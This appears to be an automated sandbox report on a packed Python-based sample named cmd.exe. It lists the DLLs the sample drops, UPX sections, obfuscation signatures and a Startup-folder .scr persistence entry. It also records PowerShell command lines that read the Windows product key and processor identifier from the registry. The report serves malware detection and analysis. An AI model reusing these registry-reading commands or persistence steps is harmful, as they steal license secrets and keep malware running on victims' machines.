Source: Binary string: 7C:\Users\user\AppData\Local\Temp\bcdu5fii\bcdu5fii.pdbhP source: powershell.exe, 0000002A.00000002.1859004442.000002168CE46000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\A\40\b\bin\amd64\select.pdb source: cmd.exe, 00000001.00000002.2107479396.00007FFE13301000.00000040.00000001.01000000.0000000D.sdmp
Source: Binary string: C:\A\40\b\bin\amd64\unicodedata.pdb source: cmd.exe, 00000001.00000002.2101639758.00007FFDFAFEC000.00000040.00000001.01000000.00000013.sdmp
Source: Binary string: D:\_w\1\b\libssl-1_1.pdb@@ source: cmd.exe, 00000001.00000002.2102140495.00007FFDFB076000.00000040.00000001.01000000.00000010.sdmp
Source: Binary string: C:\A\40\b\bin\amd64\_ssl.pdb source: cmd.exe, 00000001.00000002.2105061798.00007FFE0EB41000.00000040.00000001.01000000.0000000E.sdmp
Source: Binary string: C:\A\40\b\bin\amd64\_socket.pdb source: cmd.exe, 00000001.00000002.2105587009.00007FFE11511000.00000040.00000001.01000000.0000000C.sdmp
Source: Binary string: )i.pdb source: powershell.exe, 0000002A.00000002.1915922706.00000216A4BB6000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: C:\A\40\b\bin\amd64\_bz2.pdb source: cmd.exe, 00000001.00000002.2107751391.00007FFE13331000.00000040.00000001.01000000.00000009.sdmp
Source: Binary string: @ compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DKECCAK1600_ASM -DRC4_ASM -DMD5_ASM -DAESNI_ASM -DVPAES_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DX25519_ASM -DPOLY1305_ASMOpenSSL 1.1.1q 5 Jul 2022built on: Thu Aug 18 20:15:42 2022 UTCplatform: VC-WIN64A-masmOPENSSLDIR: "C:\Program Files\Common Files\SSL"ENGINESDIR: "C:\Program Files\OpenSSL\lib\engines-1_1"not available source: cmd.exe, 00000001.00000002.2102679119.00007FFDFB30E000.00000040.00000001.01000000.0000000F.sdmp
Source: Binary string: C:\A\40\b\bin\amd64\_hashlib.pdb source: cmd.exe, 00000001.00000002.2105325798.00007FFE10301000.00000040.00000001.01000000.00000011.sdmp
Source: Binary string: D:\_w\1\b\libcrypto-1_1.pdb source: cmd.exe, 00000001.00000002.2102679119.00007FFDFB390000.00000040.00000001.01000000.0000000F.sdmp
Source: cmd.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: cmd.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: cmd.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: cmd.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: cmd.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Data Obfuscation
barindex
Suspicious powershell command line found
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
Binary contains a suspicious time stamp
Source: VCRUNTIME140.dll.0.dr Static PE information: 0x8E79CD85 [Sat Sep 30 01:19:01 2045 UTC]
Compiles C# or VB.Net code
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\bcdu5fii\bcdu5fii.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\bcdu5fii\bcdu5fii.cmdline"
PE file contains an invalid checksum
Source: libcrypto-1_1.dll.0.dr Static PE information: real checksum: 0x0 should be: 0x1286c2
Source: libffi-7.dll.0.dr Static PE information: real checksum: 0x0 should be: 0x9bb1
Source: python310.dll.0.dr Static PE information: real checksum: 0x0 should be: 0x175084
Source: _ctypes.pyd.0.dr Static PE information: real checksum: 0x0 should be: 0x1116d
Source: unicodedata.pyd.0.dr Static PE information: real checksum: 0x0 should be: 0x49ec0
Source: _bz2.pyd.0.dr Static PE information: real checksum: 0x0 should be: 0x11295
Source: _ssl.pyd.0.dr Static PE information: real checksum: 0x0 should be: 0x13959
Source: sqlite3.dll.0.dr Static PE information: real checksum: 0x0 should be: 0x9855f
Source: libssl-1_1.dll.0.dr Static PE information: real checksum: 0x0 should be: 0x3a1a3
Source: _queue.pyd.0.dr Static PE information: real checksum: 0x0 should be: 0xa1bc
Source: _socket.pyd.0.dr Static PE information: real checksum: 0x0 should be: 0x121bd
Source: _decimal.pyd.0.dr Static PE information: real checksum: 0x0 should be: 0x1f136
Source: _hashlib.pyd.0.dr Static PE information: real checksum: 0x0 should be: 0x14f2d
Source: select.pyd.0.dr Static PE information: real checksum: 0x0 should be: 0xe5dd
Source: _lzma.pyd.0.dr Static PE information: real checksum: 0x0 should be: 0x2283b
Source: bcdu5fii.dll.48.dr Static PE information: real checksum: 0x0 should be: 0x5947
Source: _sqlite3.pyd.0.dr Static PE information: real checksum: 0x0 should be: 0x16d12
Source: cmd.exe Static PE information: real checksum: 0x5f9d97 should be: 0x5f954d
PE file contains sections with non-standard names
Source: libffi-7.dll.0.dr Static PE information: section name: UPX2
Source: VCRUNTIME140.dll.0.dr Static PE information: section name: _RDATA
Uses code obfuscation techniques (call, push, ret)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_00007FFD98B1EB60 push edx; ret 10_2_00007FFD98B1EBFC
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_00007FFD98B1D2A5 pushad ; iretd 10_2_00007FFD98B1D2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_00007FFD98B1FB35 pushad ; iretd 10_2_00007FFD98B1FB37
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_00007FFD98C302FD push ds; iretd 10_2_00007FFD98C303E2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_00007FFD98C372BB push cs; iretd 10_2_00007FFD98C372CA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_00007FFD98C31A69 push ds; iretd 10_2_00007FFD98C31A6A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_00007FFD98C3862D push ebx; ret 10_2_00007FFD98C386CA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_00007FFD98C3861D push ebx; ret 10_2_00007FFD98C3862A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 10_2_00007FFD98C31029 pushad ; iretd 10_2_00007FFD98C3102A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 42_2_00007FFD98C41B11 push ds; iretd 42_2_00007FFD98C41B12
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 42_2_00007FFD98C40B5D push ds; iretd 42_2_00007FFD98C40B82
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 42_2_00007FFD98C40B83 push ds; iretd 42_2_00007FFD98C40B82
Source: initial sample Static PE information: section name: UPX0
Source: initial sample Static PE information: section name: UPX1
Source: initial sample Static PE information: section name: UPX0
Source: initial sample Static PE information: section name: UPX1
Source: initial sample Static PE information: section name: UPX0
Source: initial sample Static PE information: section name: UPX1
Source: initial sample Static PE information: section name: UPX0
Source: initial sample Static PE information: section name: UPX1
Source: initial sample Static PE information: section name: UPX0
Source: initial sample Static PE information: section name: UPX1
Source: initial sample Static PE information: section name: UPX0
Source: initial sample Static PE information: section name: UPX1
Source: initial sample Static PE information: section name: UPX0
Source: initial sample Static PE information: section name: UPX1
Source: initial sample Static PE information: section name: UPX0
Source: initial sample Static PE information: section name: UPX1
Source: initial sample Static PE information: section name: UPX0
Source: initial sample Static PE information: section name: UPX1
Source: initial sample Static PE information: section name: UPX0
Source: initial sample Static PE information: section name: UPX1
Source: initial sample Static PE information: section name: UPX0
Source: initial sample Static PE information: section name: UPX1
Source: initial sample Static PE information: section name: UPX0
Source: initial sample Static PE information: section name: UPX1
Source: initial sample Static PE information: section name: UPX0
Source: initial sample Static PE information: section name: UPX1
Source: initial sample Static PE information: section name: UPX0
Source: initial sample Static PE information: section name: UPX1
Source: initial sample Static PE information: section name: UPX0
Source: initial sample Static PE information: section name: UPX1
Source: initial sample Static PE information: section name: UPX0
Source: initial sample Static PE information: section name: UPX1
Drops PE files
Source: C:\Users\user\Desktop\cmd.exe File created: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe Jump to dropped file
Source: C:\Users\user\Desktop\cmd.exe File created: C:\Users\user\AppData\Local\Temp\_MEI72642\libcrypto-1_1.dll Jump to dropped file
Source: C:\Users\user\Desktop\cmd.exe File created: C:\Users\user\AppData\Local\Temp\_MEI72642\_queue.pyd Jump to dropped file
Source: C:\Users\user\Desktop\cmd.exe File created: C:\Users\user\AppData\Local\Temp\_MEI72642\_lzma.pyd Jump to dropped file
Source: C:\Users\user\Desktop\cmd.exe File created: C:\Users\user\AppData\Local\Temp\_MEI72642\_hashlib.pyd Jump to dropped file
Source: C:\Users\user\Desktop\cmd.exe File created: C:\Users\user\AppData\Local\Temp\_MEI72642\VCRUNTIME140.dll Jump to dropped file
Source: C:\Users\user\Desktop\cmd.exe File created: C:\Users\user\AppData\Local\Temp\_MEI72642\libssl-1_1.dll Jump to dropped file
Source: C:\Users\user\Desktop\cmd.exe File created: C:\Users\user\AppData\Local\Temp\_MEI72642\unicodedata.pyd Jump to dropped file
Source: C:\Users\user\Desktop\cmd.exe File created: C:\Users\user\AppData\Local\Temp\_MEI72642\libffi-7.dll Jump to dropped file
Source: C:\Users\user\Desktop\cmd.exe File created: C:\Users\user\AppData\Local\Temp\_MEI72642\_sqlite3.pyd Jump to dropped file
Source: C:\Users\user\Desktop\cmd.exe File created: C:\Users\user\AppData\Local\Temp\_MEI72642\select.pyd Jump to dropped file
Source: C:\Users\user\Desktop\cmd.exe File created: C:\Users\user\AppData\Local\Temp\_MEI72642\_socket.pyd Jump to dropped file
Source: C:\Users\user\Desktop\cmd.exe File created: C:\Users\user\AppData\Local\Temp\_MEI72642\_decimal.pyd Jump to dropped file
Source: C:\Users\user\Desktop\cmd.exe File created: C:\Users\user\AppData\Local\Temp\_MEI72642\_bz2.pyd Jump to dropped file
Source: C:\Users\user\Desktop\cmd.exe File created: C:\Users\user\AppData\Local\Temp\_MEI72642\_ctypes.pyd Jump to dropped file
Source: C:\Users\user\Desktop\cmd.exe File created: C:\Users\user\AppData\Local\Temp\_MEI72642\python310.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe File created: C:\Users\user\AppData\Local\Temp\bcdu5fii\bcdu5fii.dll Jump to dropped file
Source: C:\Users\user\Desktop\cmd.exe File created: C:\Users\user\AppData\Local\Temp\_MEI72642\sqlite3.dll Jump to dropped file
Source: C:\Users\user\Desktop\cmd.exe File created: C:\Users\user\AppData\Local\Temp\_MEI72642\_ssl.pyd Jump to dropped file
Creates a start menu entry (Start Menu\Programs\Startup)
Source: C:\Users\user\Desktop\cmd.exe File created: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\? ?.scr
Stores files to the Windows start menu directory
Source: C:\Users\user\Desktop\cmd.exe File created: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\? ?.scr

Hooking and other Techniques for Hiding and Protection
barindex
Loading BitLocker PowerShell Module
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
Extensive use of GetProcAddress (often used to hide API calls)
Source: C:\Users\user\Desktop\cmd.exe Code function: 0_2_00007FF70AEF5820 GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError, 0_2_00007FF70AEF5820
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
